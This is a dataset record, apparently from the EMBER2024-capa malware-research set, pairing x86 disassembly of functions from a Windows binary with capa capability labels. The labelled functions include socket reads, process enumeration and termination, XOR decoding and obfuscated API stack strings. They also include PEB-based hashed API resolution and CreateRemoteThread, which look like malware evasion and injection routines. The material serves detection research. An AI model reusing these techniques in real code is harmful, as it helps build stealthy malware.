joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008e51
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [0x10040838]
push edi
xor edi, edi
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
cmp dword [0x1004083c], edi
jne 0x10008e80
push 0x100000
call fcn.100187ff
pop ecx
mov dword [0x1004083c], eax
cmp esi, edi
je 0x10008f99
mov ebx, 0xffffc
cmp dword [esi + 4], 1
jne 0x10008f8e
push 4
pop edi
push dword [esi]
cmp dword [esi + 0x10], edi
jne 0x10008f0e
call sub.WS2_32.dll_htonl
mov ecx, dword [0x1004083c]
mov dword [ecx], eax
xor eax, eax
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
push ebx
add ecx, 4
push ecx
mov dword [ebp - 0xc], 0x10
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp eax, 0xffffffff
jne 0x10008ef2
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x10008f8e
push 4
push 4
jmp 0x10008f5c
test eax, eax
jbe 0x10008f8e
mov ecx, dword [0x1004083c]
mov byte [ecx + eax + 4], 0
push 5
add eax, 4
push eax
push ecx
jmp 0x10008f83
call sub.WS2_32.dll_htonl
mov ecx, dword [0x1004083c]
mov dword [ecx], eax
lea eax, [ebp - 4]
push eax
push 0x4004667f
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp dword [ebp - 4], ebx
jbe 0x10008f35
mov dword [ebp - 4], ebx
cmp eax, 0xffffffff
je 0x10008f5a
cmp dword [ebp - 4], 0
jbe 0x10008f8e
push dword [ebp - 4]
mov eax, dword [0x1004083c]
push dword [esi + 0x1c]
add eax, 4
call fcn.100084d4
pop ecx
pop ecx
cmp eax, 0xffffffff
jne 0x10008f70
push edi
push edi
push dword [0x1004083c]
and dword [esi + 4], 0
call fcn.100012d0
add esp, 0xc
jmp 0x10008f8e
mov ecx, dword [ebp - 4]
cmp eax, ecx
jne 0x10008f8e
push 5
add ecx, 4
push ecx
push dword [0x1004083c]
call fcn.100012d0
add esp, 0xc
inc dword [ebp - 8]
mov esi, dword [esi + 0x20]
test esi, esi
jne 0x10008e8d
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000a40b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 0x10], 0
push ebx
push esi
push edi
push dword [ebp + 0xc]
xor eax, eax
push dword [ebp + 8]
lea edi, [ebp - 0xc]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
call fcn.10008237
lea eax, [ebp - 0x10]
add esp, 0xc
push eax
call fcn.10008250
pop ecx
mov ebx, eax
push 1
call fcn.1000d729
mov esi, eax
pop ecx
test esi, esi
je 0x1000a459
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1000a46b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push 0x23
call fcn.100026b5
add esp, 0xc
mov edx, esi
call fcn.1000d8ad
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000a4e3
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94c
push ebx
push esi
push edi
xor ebx, ebx
push 0x7ff
lea eax, [ebp - 0x947]
push ebx
push eax
mov byte [ebp - 0x948], bl
call fcn.10020520
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [ebp - 0x18]
push dword [ebp + 8]
push eax
call fcn.10008237
lea eax, [ebp - 0x18]
add esp, 0xc
push eax
call fcn.10008250
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
mov dword [esp], 0x8000
push eax
call fcn.100016cb
cmp dword [ebp - 4], ebx
pop ecx
pop ecx
jle 0x1000a54f
push dword [ebp - 4]
lea eax, [ebp - 0x18]
push eax
call fcn.1000171b
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.10004354
pop ecx
test eax, eax
je 0x1000a569
mov dword [ebp - 8], 0x10031714
jmp 0x1000a580
call fcn.100296c4
mov dword [ebp - 8], 0x10031714
test eax, eax
jne 0x1000a580
mov dword [ebp - 8], 0x10031718
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x1000a6c2
lea eax, [ebp - 0x148]
push eax
push edi
mov dword [ebp - 0x148], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x1000a5ba
mov edx, edi
call fcn.1000d8ad
jmp 0x1000a6c2
call fcn.10007efe
mov ebx, dword [ebp - 0x140]
neg eax
sbb eax, eax
and eax, 0xc00
add eax, 0x400
push eax
call fcn.1000d729
mov esi, eax
pop ecx
test esi, esi
jne 0x1000a606
push dword [ebp - 0x140]
lea eax, [ebp - 0x124]
push dword [ebp - 0x130]
push eax
lea eax, [ebp - 0x18]
push str._s_t_d_t_d_n
push eax
call fcn.10001825
add esp, 0x14
jmp 0x1000a680
lea eax, [ebp - 0x948]
push eax
push esi
call fcn.1000a477
pop ecx
pop ecx
test eax, eax
jne 0x1000a61f
mov byte [ebp - 0x948], al
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x140]
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
jne 0x1000a637
or dword [ebp - 0x1c], 0xffffffff
push esi
call fcn.10004354
test eax, eax
pop ecx
mov eax, 0x10031718
jne 0x1000a64a
mov eax, dword [ebp - 8]
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x948]
push ecx
push eax
push dword [ebp - 0x140]
lea eax, [ebp - 0x124]
push dword [ebp - 0x130]
push eax
lea eax, [ebp - 0x18]
push str._s_t_d_t_d_t_s_t_s_t_d_n
push eax
call fcn.10001825
add esp, 0x20
mov edx, esi
call fcn.1000d8ad
lea eax, [ebp - 0x148]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000a5ba
mov edx, edi
call fcn.1000d8ad
cmp dword [ebp - 4], 0
lea eax, [ebp - 0x18]
jne 0x1000a6a9
push 0x11
jmp 0x1000a6ab
push 0x16
call fcn.10001887
push eax
lea eax, [ebp - 0x18]
call fcn.10001884
push eax
call fcn.100012d0
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
call fcn.10001864
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000a70e
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, 0x8000
push ebx
call fcn.100187ff
push dword [ebp + 8]
mov edi, eax
push 0x1003173c
push ebx
push edi
call fcn.10018956
mov esi, dword [ebp + 0xc]
add esp, 0x14
push esi
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push edi
mov dword [ebp - 4], eax
call fcn.10018722
cmp dword [ebp - 4], 0xffffffff
pop ecx
je 0x1000a7cd
test byte [esi], 0x10
lea eax, [esi + 0x2c]
je 0x1000a7d2
push 2
mov edi, 0x10031744
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x1000a7b3
mov esi, eax
push 3
mov edi, 0x10031748
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x1000a7b3
push ebx
call fcn.100187ff
mov esi, dword [ebp + 0xc]
add esi, 0x2c
push esi
push 0x10031534
mov edi, eax
push ebx
push edi
call fcn.10018956
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.1000a6d1
push 1
push edi
push dword [ebp + 8]
call dword [ebp + 0x10]
push edi
call fcn.10018722
add esp, 0x34
mov esi, dword [ebp + 0xc]
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000a74f
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret
push 0
push eax
push dword [ebp + 8]
call dword [ebp + 0x10]
add esp, 0xc
jmp 0x1000a7b6

Function at 0x1000aaa0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [ebp + 0x10], 0
jne 0x1000aaae
jmp 0x1000ab25
mov eax, dword [ebp + 0x10]
and eax, 0xff
mov byte [ebp - 4], al
mov ecx, dword [ebp + 0x10]
shr ecx, 8
and ecx, 0xff
mov byte [ebp - 3], cl
mov edx, dword [ebp + 0x10]
shr edx, 0x10
and edx, 0xff
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
shr eax, 0x18
and eax, 0xff
mov byte [ebp - 1], al
mov dword [ebp - 8], 0
jmp 0x1000aaf7
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [ebp + 0xc]
jae 0x1000ab25
mov eax, dword [ebp - 8]
xor edx, edx
mov ecx, 4
div ecx
movzx edx, byte [ebp + edx - 4]
mov eax, dword [ebp + 8]
add eax, dword [ebp - 8]
movsx ecx, byte [eax]
xor ecx, edx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 8]
mov byte [edx], cl
jmp 0x1000aaee
mov esp, ebp
pop ebp
ret

Function at 0x1000ab30
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call fcn.1000b250
mov dword [ebp - 8], eax
mov eax, 1
test eax, eax
je 0x1000ab8e
mov ecx, dword [ebp - 8]
movzx edx, word [ecx]
cmp edx, 0x5a4d
jne 0x1000ab83
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x3c]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x40
jb 0x1000ab83
cmp dword [ebp - 4], 0x400
jae 0x1000ab83
mov edx, dword [ebp - 4]
add edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp dword [eax], 0x4550
jne 0x1000ab83
jmp 0x1000ab8e
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
jmp 0x1000ab3e
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x1000ae70
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
mov eax, dword [ebp + 0xc]
movzx ecx, word [eax + 0x14]
mov edx, dword [ebp + 0xc]
lea eax, [edx + ecx + 0x18]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 0xc]
movzx edx, word [ecx + 6]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
sub ecx, 1
mov dword [ebp - 0xc], ecx
test eax, eax
je 0x1000aef7
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0xc]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 0x10]
add edx, dword [ecx + 0x14]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x10]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 0x14]
rep movsb byte es:[edi], byte [esi]
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x24]
and eax, 0x20000000
je 0x1000aeec
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 0x14]
mov dword [ecx], edx
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov edx, dword [ebp - 0x10]
add edx, 0x28
mov dword [ebp - 0x10], edx
jmp 0x1000ae93
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000b2a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push edi
mov byte [ebp - 0x30], 0x6b
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2e], 0x72
mov byte [ebp - 0x2d], 0x6e
mov byte [ebp - 0x2c], 0x65
mov byte [ebp - 0x2b], 0x6c
mov byte [ebp - 0x2a], 0x33
mov byte [ebp - 0x29], 0x32
mov byte [ebp - 0x28], 0
mov byte [ebp - 0x24], 0x4c
mov byte [ebp - 0x23], 0x6f
mov byte [ebp - 0x22], 0x61
mov byte [ebp - 0x21], 0x64
mov byte [ebp - 0x20], 0x4c
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x62
mov byte [ebp - 0x1d], 0x72
mov byte [ebp - 0x1c], 0x61
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x79
mov byte [ebp - 0x19], 0x41
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x14], 0x4c
mov byte [ebp - 0x13], 0x6f
mov byte [ebp - 0x12], 0x61
mov byte [ebp - 0x11], 0x64
mov byte [ebp - 0x10], 0x4c
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x62
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x61
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x79
mov byte [ebp - 9], 0x45
mov byte [ebp - 8], 0x78
mov byte [ebp - 7], 0x41
mov byte [ebp - 6], 0
mov byte [ebp - 0x50], 0x56
mov byte [ebp - 0x4f], 0x69
mov byte [ebp - 0x4e], 0x72
mov byte [ebp - 0x4d], 0x74
mov byte [ebp - 0x4c], 0x75
mov byte [ebp - 0x4b], 0x61
mov byte [ebp - 0x4a], 0x6c
mov byte [ebp - 0x49], 0x41
mov byte [ebp - 0x48], 0x6c
mov byte [ebp - 0x47], 0x6c
mov byte [ebp - 0x46], 0x6f
mov byte [ebp - 0x45], 0x63
mov byte [ebp - 0x44], 0
mov byte [ebp - 0x40], 0x56
mov byte [ebp - 0x3f], 0x69
mov byte [ebp - 0x3e], 0x72
mov byte [ebp - 0x3d], 0x74
mov byte [ebp - 0x3c], 0x75
mov byte [ebp - 0x3b], 0x61
mov byte [ebp - 0x3a], 0x6c
mov byte [ebp - 0x39], 0x50
mov byte [ebp - 0x38], 0x72
mov byte [ebp - 0x37], 0x6f
mov byte [ebp - 0x36], 0x74
mov byte [ebp - 0x35], 0x65
mov byte [ebp - 0x34], 0x63
mov byte [ebp - 0x33], 0x74
mov byte [ebp - 0x32], 0
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
call edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], eax
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
call edx
mov ecx, dword [ebp + 8]
mov dword [ecx + 0xc], eax
lea edx, [ebp - 0x50]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
call edx
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], eax
lea edx, [ebp - 0x40]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
call edx
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x14], eax
lea edi, [ebp - 0x30]
xor al, al
mov ecx, 9
rep stosb byte es:[edi], al
lea edi, [ebp - 0x24]
xor al, al
mov ecx, 0xd
rep stosb byte es:[edi], al
lea edi, [ebp - 0x14]
xor al, al
mov ecx, 0xf
rep stosb byte es:[edi], al
lea edi, [ebp - 0x50]
xor al, al
mov ecx, 0xd
rep stosb byte es:[edi], al
lea edi, [ebp - 0x40]
xor al, al
mov ecx, 0xf
rep stosb byte es:[edi], al
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x1000b770
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [ebp + 0x10], 0
jne 0x1000b77e
jmp 0x1000b7f5
mov eax, dword [ebp + 0x10]
and eax, 0xff
mov byte [ebp - 4], al
mov ecx, dword [ebp + 0x10]
shr ecx, 8
and ecx, 0xff
mov byte [ebp - 3], cl
mov edx, dword [ebp + 0x10]
shr edx, 0x10
and edx, 0xff
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
shr eax, 0x18
and eax, 0xff
mov byte [ebp - 1], al
mov dword [ebp - 8], 0
jmp 0x1000b7c7
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [ebp + 0xc]
jae 0x1000b7f5
mov eax, dword [ebp - 8]
xor edx, edx
mov ecx, 4
div ecx
movzx edx, byte [ebp + edx - 4]
mov eax, dword [ebp + 8]
add eax, dword [ebp - 8]
movsx ecx, byte [eax]
xor ecx, edx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 8]
mov byte [edx], cl
jmp 0x1000b7be
mov esp, ebp
pop ebp
ret

Function at 0x1000b800
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call fcn.1000bf20
mov dword [ebp - 8], eax
mov eax, 1
test eax, eax
je 0x1000b85e
mov ecx, dword [ebp - 8]
movzx edx, word [ecx]
cmp edx, 0x5a4d
jne 0x1000b853
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x3c]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x40
jb 0x1000b853
cmp dword [ebp - 4], 0x400
jae 0x1000b853
mov edx, dword [ebp - 4]
add edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp dword [eax], 0x4550
jne 0x1000b853
jmp 0x1000b85e
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
jmp 0x1000b80e
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x1000bb40
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
mov eax, dword [ebp + 0xc]
movzx ecx, word [eax + 0x14]
mov edx, dword [ebp + 0xc]
lea eax, [edx + ecx + 0x18]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 0xc]
movzx edx, word [ecx + 6]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
sub ecx, 1
mov dword [ebp - 0xc], ecx
test eax, eax
je 0x1000bbc7
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0xc]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 0x10]
add edx, dword [ecx + 0x14]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x10]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 0x14]
rep movsb byte es:[edi], byte [esi]
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x24]
and eax, 0x20000000
je 0x1000bbbc
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 0x14]
mov dword [ecx], edx
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov edx, dword [ebp - 0x10]
add edx, 0x28
mov dword [ebp - 0x10], edx
jmp 0x1000bb63
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000c23d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
mov eax, ecx
cdq
idiv dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov al, byte [edx + eax]
xor byte [ecx + str.._._._.._._._3._._...], al
inc ecx
cmp ecx, 0x1800
jl 0x1000c242
pop ebp
ret

Function at 0x1000c25f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
jle 0x1000c286
mov eax, dword [ebp + 8]
lea ecx, [esi + eax]
mov eax, esi
cdq
idiv edi
mov eax, dword [ebp + 0x10]
sub eax, edx
mov al, byte [eax + edi - 1]
xor byte [ecx], al
inc esi
cmp esi, dword [ebp + 0xc]
jl 0x1000c26a
pop esi
pop ebp
ret
Function at 0x1000c7ba
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push str.._._._.._._._3._._...
mov esi, 0x800
push esi
mov ebx, 0x10037828
push ebx
mov edi, 0x1800
call fcn.1000c25f
add esp, 0xc
xor eax, eax
xor byte [eax + 0x10037828], 0x8a
inc eax
cmp eax, esi
jl 0x1000c7e3
push esi
lea eax, [ebp - 0x10]
push ebx
push eax
call fcn.10008237
lea eax, [ebp - 0x10]
push eax
call fcn.10008293
movzx edi, ax
add esp, 0x10
test di, di
jle 0x1000c8b2
lea eax, [ebp - 0x10]
push eax
call fcn.10008293
movzx esi, ax
lea eax, [ebp - 0x10]
push eax
call fcn.10008293
movsx ebx, di
pop ecx
pop ecx
movzx ecx, ax
mov eax, dword [0x10043a0c]
shl ebx, 3
lea edi, [ebx + eax]
movsx eax, si
dec eax
mov word [edi], si
je 0x1000c87d
dec eax
je 0x1000c867
dec eax
jne 0x1000c892
movsx eax, cx
push eax
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.10008382
pop ecx
pop ecx
push eax
push dword [edi + 4]
call fcn.1001f330
add esp, 0xc
jmp 0x1000c892
lea eax, [ebp - 0x10]
push eax
call fcn.10008250
pop ecx
mov ecx, dword [0x10043a0c]
mov dword [ebx + ecx + 4], eax
jmp 0x1000c892
lea eax, [ebp - 0x10]
push eax
call fcn.10008293
pop ecx
mov ecx, dword [0x10043a0c]
mov word [ebx + ecx + 4], ax
lea eax, [ebp - 0x10]
push eax
call fcn.10008293
movzx edi, ax
pop ecx
test di, di
jg 0x1000c812
mov esi, 0x800
mov ebx, 0x10037828
push esi
push 0
push ebx
call fcn.10020520
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000cf14
Capabilities:
Encode data using xor

Disassembly:
cmp byte [ecx], 0
mov eax, 0x52964ee9
je 0x1000cf35
push esi
movzx edx, word [ecx]
mov esi, eax
movzx edx, dx
ror esi, 8
add esi, edx
inc ecx
xor eax, esi
cmp byte [ecx], 0
jne 0x1000cf1f
pop esi
ret
Function at 0x1000cf6b
Capabilities:
Access peb ldr_data
Get process heap flags
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov edx, dword [eax + 0xc]
sub esp, 0x18
push ebx
push esi
add edx, 0xc
push edi
mov edi, dword [edx]
cmp edi, edx
je 0x1000d102
mov eax, edi
mov ecx, dword [eax + 0x18]
mov eax, dword [ecx + 0x3c]
mov esi, dword [eax + ecx + 0x78]
mov edi, dword [edi]
mov dword [ebp - 0xc], ecx
test esi, esi
je 0x1000cf85
add esi, ecx
cmp dword [esi + 0x18], 0
je 0x1000cf85
mov eax, dword [esi + 0xc]
add eax, ecx
mov ebx, dword [eax]
or ebx, 0x20202020
cmp ebx, 0x6c64746e
jne 0x1000cf85
mov ebx, dword [eax + 4]
or ebx, 0x20202020
cmp ebx, 0x6c642e6c
jne 0x1000cf85
mov ax, word [eax + 8]
or ax, 0x20
cmp ax, 0x6c
jne 0x1000cf85
mov eax, dword [esi + 0x20]
mov edi, dword [esi + 0x1c]
mov ebx, dword [esi + 0x24]
and dword [ebp - 4], 0
push 0x1770
push 0
push dword [ebp + 8]
add eax, ecx
add edi, ecx
mov dword [ebp - 0x14], eax
add ebx, ecx
call fcn.10020520
mov esi, dword [esi + 0x18]
xor eax, eax
add esp, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0x18], esi
test esi, esi
jbe 0x1000d0aa
mov esi, dword [ebp + 8]
add esi, 8
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx + eax*4]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x10], ecx
je 0x1000d09a
movzx eax, word [ecx]
mov edx, 0x694b
cmp ax, dx
jne 0x1000d060
call fcn.1000cf14
cmp eax, 0x8dcd4499
jne 0x1000d05d
mov eax, dword [ebp - 8]
movzx eax, word [ebx + eax*2]
mov edx, dword [edi + eax*4]
add edx, dword [ebp - 0xc]
call fcn.1000cf36
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x10]
movzx eax, word [ecx]
mov edx, 0x775a
cmp ax, dx
jne 0x1000d09a
call fcn.1000cf14
mov dword [esi - 8], eax
mov eax, dword [ebp - 8]
movzx eax, word [ebx + eax*2]
lea eax, [edi + eax*4]
mov ecx, dword [eax]
mov eax, ecx
add eax, dword [ebp - 0xc]
inc dword [ebp - 4]
mov dword [esi - 4], ecx
mov dword [esi], eax
add esi, 0xc
cmp dword [ebp - 4], 0x1f4
je 0x1000d0aa
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp eax, dword [ebp - 0x18]
jb 0x1000d01f
mov eax, dword [ebp - 4]
and dword [ebp - 8], 0
dec eax
mov dword [ebp - 0x18], eax
je 0x1000d102
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 8]
dec ecx
je 0x1000d0f7
mov eax, dword [ebp + 8]
add eax, 4
mov dword [ebp - 0x10], ecx
mov edi, dword [eax]
lea ecx, [eax + 0xc]
cmp edi, dword [ecx]
jbe 0x1000d0f0
mov ebx, dword [eax + 8]
mov edx, dword [eax - 4]
mov esi, dword [eax + 4]
mov dword [eax - 4], ebx
mov ebx, dword [ecx]
mov dword [eax], ebx
mov ebx, dword [eax + 0x10]
mov dword [eax + 4], ebx
mov dword [eax + 8], edx
mov dword [ecx], edi
mov dword [eax + 0x10], esi
dec dword [ebp - 0x10]
mov eax, ecx
jne 0x1000d0c9
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x18]
jb 0x1000d0b7
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000d5fe
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x10040898], 0
je 0x1000d65e
mov ecx, dword [0x10040894]
cmp ecx, 1
jne 0x1000d61f
mov eax, dword [0x1004397c]
test eax, eax
jne 0x1000d653
cmp ecx, 2
jne 0x1000d65e
mov eax, dword [0x10043980]
test eax, eax
je 0x1000d65e
mov dword [0x1004088c], eax
mov eax, dword [0x10043984]
mov dword [0x10040890], eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.1001864f
pop ecx
pop ecx
test eax, eax
jne 0x1000d65e
mov eax, dword [ebp - 4]
leave
ret
lea ecx, [ebp - 4]
push ecx
push dword [ebp + 8]
call eax
jmp 0x1000d64a
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
leave
ret

Function at 0x1000d669
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
cmp dword [0x10040898], esi
je 0x1000d706
mov eax, dword [0x10040894]
cmp eax, 1
jne 0x1000d68e
cmp dword [0x10043988], esi
jne 0x1000d69b
cmp eax, 2
jne 0x1000d706
cmp dword [0x1004398c], esi
je 0x1000d706
mov eax, dword [ebp + 8]
cmp eax, esi
jne 0x1000d6a8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp dword [0x10040894], 1
push esi
push esi
push esi
push esi
push 1
push ebx
push dword [ebp + 0xc]
push eax
push esi
lea eax, [ebp - 4]
push 0x1fffff
push eax
jne 0x1000d6ce
call dword [0x10043988]
jmp 0x1000d6ee
mov ecx, dword [0x1004398c]
mov dword [0x1004088c], ecx
mov ecx, dword [0x10043990]
mov dword [0x10040890], ecx
call fcn.1001865e
add esp, 0x2c
cmp eax, esi
jne 0x1000d706
test byte [ebp + 0x10], 4
jne 0x1000d701
push dword [ebp - 4]
call fcn.1000d5fe
pop ecx
mov eax, dword [ebp - 4]
jmp 0x1000d726
push esi
push dword [ebp + 0x10]
push ebx
push dword [ebp + 0xc]
push esi
push esi
cmp dword [ebp + 8], esi
jne 0x1000d71d
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x1000d726
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
pop esi
leave
ret

Function at 0x1000de47
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
push 0x37
pop ecx
call fcn.1000c2dd
push 0x27
pop ecx
movzx esi, ax
call fcn.1000c2dd
xor ebx, ebx
inc ebx
push ebx
push 0
movzx edi, ax
call fcn.10001ceb
pop ecx
pop ecx
call fcn.100074e6
call fcn.1000eb2e
cmp esi, ebx
jne 0x1000de94
cmp edi, ebx
jne 0x1000de8c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000de7f
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
cmp edi, ebx
jne 0x1000deb9
push 0xffffffffffffffff
push 0
push dword [sym.imp.KERNEL32.dll_ExitProcess]
xor ebx, ebx
push 0
call fcn.1000d669
add esp, 0xc
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebx
ret
push 0
